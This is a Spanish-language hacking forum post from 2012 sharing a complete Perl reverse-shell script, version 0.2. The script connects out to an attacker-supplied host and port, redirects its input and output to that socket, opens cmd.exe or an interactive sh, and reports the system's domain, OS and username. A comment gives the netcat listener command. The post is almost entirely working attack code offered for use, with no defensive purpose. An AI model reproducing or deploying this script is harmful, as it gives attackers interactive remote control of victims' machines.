elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Rompecabezas de Bitcoin, Medio millón USD en premios


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [Perl] Reverse Shell 0.2
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Perl] Reverse Shell 0.2  (Leído 1,857 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Perl] Reverse Shell 0.2
« en: 9 Octubre 2012, 03:05 am »

Version mejorada de este script.

Código
  1. #!usr/bin/perl
  2. #Reverse Shell 0.2
  3. #Coded By Doddy H
  4. #Command : nc -lvvp 666
  5.  
  6. use IO::Socket;
  7.  
  8. print "\n== -- Reverse Shell 0.2 - Doddy H 2012 -- ==\n\n";
  9.  
  10. unless ( @ARGV == 2 ) {
  11.    print "[Sintax] : $0 <host> <port>\n\n";
  12.    exit(1);
  13. }
  14. else {
  15.    print "[+] Starting the connection\n";
  16.    print "[+] Enter in the system\n";
  17.    print "[+] Enjoy !!!\n\n";
  18.    conectar( $ARGV[0], $ARGV[1] );
  19.    tipo();
  20. }
  21.  
  22. sub conectar {
  23.    socket( REVERSE, PF_INET, SOCK_STREAM, getprotobyname('tcp') );
  24.    connect( REVERSE, sockaddr_in( $_[1], inet_aton( $_[0] ) ) );
  25.    open( STDIN,  ">&REVERSE" );
  26.    open( STDOUT, ">&REVERSE" );
  27.    open( STDERR, ">&REVERSE" );
  28. }
  29.  
  30. sub tipo {
  31.    print "\n[+] Reverse Shell Starting...\n\n";
  32.    if ( $^O =~ /Win32/ig ) {
  33.        infowin();
  34.        system("cmd.exe");
  35.    }
  36.    else {
  37.        infolinux();
  38.        system("export TERM=xterm;exec sh -i");
  39.    }
  40. }
  41.  
  42. sub infowin {
  43.    print "[+] Domain Name : " . Win32::DomainName() . "\n";
  44.    print "[+] OS Version : " . Win32::GetOSName() . "\n";
  45.    print "[+] Username : " . Win32::LoginName() . "\n\n\n";
  46. }
  47.  
  48. sub infolinux {
  49.    print "[+] System information\n\n";
  50.    system("uname -a");
  51.    print "\n\n";
  52. }
  53.  
  54. #The End ?
  55.  


En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Perl] Reverse Shell By Doddy
Scripting
BigBear 0 1,672 Último mensaje 8 Octubre 2011, 16:55 pm
por BigBear
Error en conexion de una shell reverse con netcat
Hacking
w4sp 2 3,421 Último mensaje 26 Junio 2020, 09:48 am
por w4sp
http, tcp reverse shell
Hacking
juliomob 5 4,314 Último mensaje 6 Noviembre 2020, 14:27 pm
por BloodSharp
Reverse shell a ip publica
Hacking
Panic0 3 2,977 Último mensaje 23 Febrero 2022, 13:55 pm
por Panic0
Reverse Shell Attacks for Absolute Bignners
Tutoriales - Documentación
ehn@ 0 592 Último mensaje 24 Noviembre 2023, 02:27 am
por ehn@
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines